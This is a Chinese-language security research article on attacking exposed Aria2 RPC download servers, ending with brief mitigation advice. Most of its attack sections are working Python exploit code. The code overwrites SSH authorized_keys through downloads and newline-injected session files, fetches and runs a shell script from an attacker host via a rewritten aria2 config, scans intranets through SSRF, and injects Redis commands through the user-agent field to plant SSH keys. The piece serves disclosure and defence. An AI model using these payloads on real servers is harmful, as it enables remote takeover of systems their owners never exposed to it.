Author:ricterz

ABSTRACT

在未設置任何安全措施的情況下,Aria2 RPC Server 可以接受任何未知來源的請求指令,并予以下載。即使存在諸如--rpc-secret--rpc-user--rpc-passwd之類的安全措施,也可以通過社會工程學手段進行攻擊。通過 Aria2 RPC Server,可以進行 SSRF、Arbitrary File Write 等 Web 攻擊手法,獲取服務器權限。

1. INTERDUCTION

Aria2 是一個命令行下運行、多協議、多來源下載工具(HTTP/HTTPS、FTP、BitTorrent、Metalink),內建 XML-RPC 用戶界面。[1] Aria 提供 RPC Server,通過--enable-rpc參數啟動。Aria2 的 RPC Server 可以方便的添加、刪除下載項目。

2. ATTACK TECHNIQUES

2.1 Arbitary File Write

通過控制文件下載鏈接、文件儲存路徑以及文件名,可以實現任意文件寫入。同時通過 Aria2 提供的其他功能,諸如 save-session 等也能輕易地實現向任意文件寫入指定功能。

2.1.1 Bypass --auto-file-renaming and --allow-overwrite

根據 Aria2 RPC Server 的文檔 changeGlobalOption 方法支持修改部分全局設置參數。[2] 通過修改 allow-overwrite 參數即可實現繞過自動重命名,且可以直接覆蓋指定文件。 即使不修改 allow-overwrite,也可以通過其他方式,比如指定 session 文件路徑來覆蓋目標文件。

2.1.2 Overwrite .ssh/authorized_keys By Download File

在類 Unix 系統上,持有儲存在某用戶目錄下的 .ssh/authorized_keys 文件中的公鑰所對應的私鑰的用戶可以通過 ssh 直接遠程無密碼登陸此系統。[3] 如果攻擊者可以通過 Aria2 覆蓋 .ssh/authorized_keys 文件的話,那么攻擊者可以輕易地取得目標系統的權限。

s = PatchedServerProxy("http://victim:6800/rpc")
pprint(s.aria2.addUri(['http://attacker/pubkey.txt'], {'out': 'authorized_keys', 'dir': '/home/bangumi/.ssh/'}))

通過覆蓋 .ssh/authorized_keys,成功登陸到目標服務器。

2.1.3 Overwrite .ssh/authorized_keys By save-session

老版本 Aria2 Aria2 RPC Server 提供 save-session 選項,可以指定在 aria2c 關閉時保存當前下載文件的狀態;同時 Aria2 RPC Server 提供 user-agent 選項,可以指定下載文件的 UA。[2] Aria2 session 格式為:

http://download-server/1.txt
 gid=79e8977d817e750e
 dir=/home/bangumi/.aria2/
 out=1.txt
 allow-overwrite=true
 user-agent=aria2/1.21.1

Aria2 未處理 \n 換行符,可以精心構造 user-agent 來偽造 session 文件,不過這偏離討論范圍。由于 .ssh/authorized_keys 存在容錯性,所以可以設置 session 路徑為 .ssh/authorized_keys,注入攻擊者的 public key 來進行攻擊。

pk = "ssh-rsa .... root@localhost"
s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"allow-overwrite": "true", "user-agent": "\n\n" + pk + "\n\n", "save-session": "/home/bangumi/.ssh/authorized_keys"}))
pprint(s.aria2.getGlobalOption())
pprint(s.aria2.addUri(['http://download-server/1.txt'], {}))
pprint(s.aria2.shutdown())

攻擊完成后 aria2 關閉,session 文件儲存在指定目錄。

新版本 Aria2 新版本的 Aria2 提供了 aria2.saveSession 方法,可以在避免關閉 aria2 的情況下儲存 session。

pk = "ssh-rsa .... root@localhost"
s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"user-agent": "\n\n" + pk + "\n\n", "save-session": "/home/bangumi/.ssh/authorized_keys"}))
pprint(s.aria2.getGlobalOption())
pprint(s.aria2.addUri(['http://download-server/1.txt'], {}))
pprint(s.aria2.saveSession())
2.1.3 Overwrite Aria2 Configuire File

Aria2 提供 --on-download-complete 選項,可以指定下載完成時需要運行的程序。[2] 調用程序的參數為:

hook.sh $1      $2      $3
hook.sh GID     文件編號 文件路徑

其中 GID 為 Aria2 自動生成的編號,文件編號通常為 1。--on-download-complete 選項傳入的 COMMAND 需要為帶有可執行權限的命令路徑。 為了執行命令,我們需要尋找一個可以執行第三個參數路徑所指向的文件的 COMMAND,不過不幸的是,Linux 下并沒有找到類似的 COMMAND。由于前兩個參數不可控,且未知,但是 GID 在 Aria2 添加任務的時候就已經返回,所以我們用一個比較取巧的方法執行命令。 首先下載惡意的 aria2 配置文件,并覆蓋原本的配置文件,等待 aria2 重新加載配置文件。然后下載一個大文件,得到 GID 后立即暫停,接著下載一個小文件,使得小文件保存的文件名為大文件的 GID,最后再開啟大文件的下載,即可執行任意命令。

s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"allow-overwrite": "true"}))
pprint(s.aria2.getGlobalOption())
# pprint(s.aria2.addUri(['http://attacker/1.txt'], {'dir': '/tmp', 'out': 'authorized_keys'}))
pprint(s.aria2.addUri(['http://attacker/1.txt'], {'dir': '/home/bangumi/.aria2/', 'out': 'aria2.conf'}))
raw_input('waiting for restart ...')
r = str(s.aria2.addUri(['http://attacker/bigfile'], {'out': '1'}))
s.aria2.pause(r)
pprint(s.aria2.addUri(['http://attacker/1.sh'], {'out': r}))
s.aria2.unpause(r)

下載完成后,Aria2 將會執行如下命令:

/bin/bash GID 1 /path/to/file

由于 GID 我們已知,且存在名為 GID 的文件,調用時路徑基于當前目錄,所以可以成功執行。

2.2 SSRF

Scan Intranet HTTP Service 利用 Aria2 下載文件的特性,且對于下載的地址未限制,所以可以通過 Aria2 對于內網資源進行請求訪問。

def gen():
    return ['http://172.16.98.%d/' % (i,) for i in range(0, 255)]

def main():
    s = ServerProxy("http://victim/rpc")
    t = [s.aria2.addUri([i], {'dir': '/tmp'}) for i in gen()]
    pprint(s.aria2.changeGlobalOption({'max-concurrent-downloads': '50', 'connect-timeout': '3', 'timeout': '3'}))
    pprint(s.aria2.getGlobalOption())
    while 1:
        for f in t:
            pprint(s.aria2.getFiles(f))

利用如上代碼可對于內網資源進行掃描。

Attack Redis Server Aria2 的 user-agent 未過濾 \n,可以通過換行來攻擊內網 Redis Server。[4]

payload = '''
CCONFIG SET DIR /root/.ssh
CCONFIG SET DBFILENAME authorized_keys
SSET 1 "\\n\\n\\nssh-rsa .... root@localhost\\n\\n"
SSAVE
QQUIT
'''
s = ServerProxy("http://victom/rpc")
s.aria2.changeGlobalOption({'user-agent': payload})
pprint(s.aria2.addUri(['http://127.0.0.1:6379/'], {'dir': '/tmp'}))

攻擊成功后,/root/.ssh/authorized_keys 被覆蓋,可通過 ssh 無密碼登陸。

3. MITIGATION TECHNIQUES

3.1 CLI OPTIONS

  • --rpc-listen-all:最好關閉此項功能
  • --allow-overwrite:應當關閉此項功能
  • --auto-file-renaming:應當開啟此項功能
  • --rpc-secret:應當開啟此項功能

3.2 PERMISSIONS

  • 通過 nobody 用戶運行 aria2c

REFERENCES

  1. Aria2 - Ubuntu中文. http://wiki.ubuntu.org.cn/Aria2
  2. aria2c(1) - aria2 1.29.0 documentation. https://aria2.github.io/manual/en/html/aria2c.html
  3. Secure Shell - Wikipedia. https://en.wikipedia.org/wiki/Secure_Shell
  4. 利用 gopher 協議拓展攻擊面. https://ricterz.me/posts/利用%20gopher%20協議拓展攻擊面

來源鏈接:https://ricterz.me/posts/Hacking%20Aria2%20RPC%20Daemon


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/120/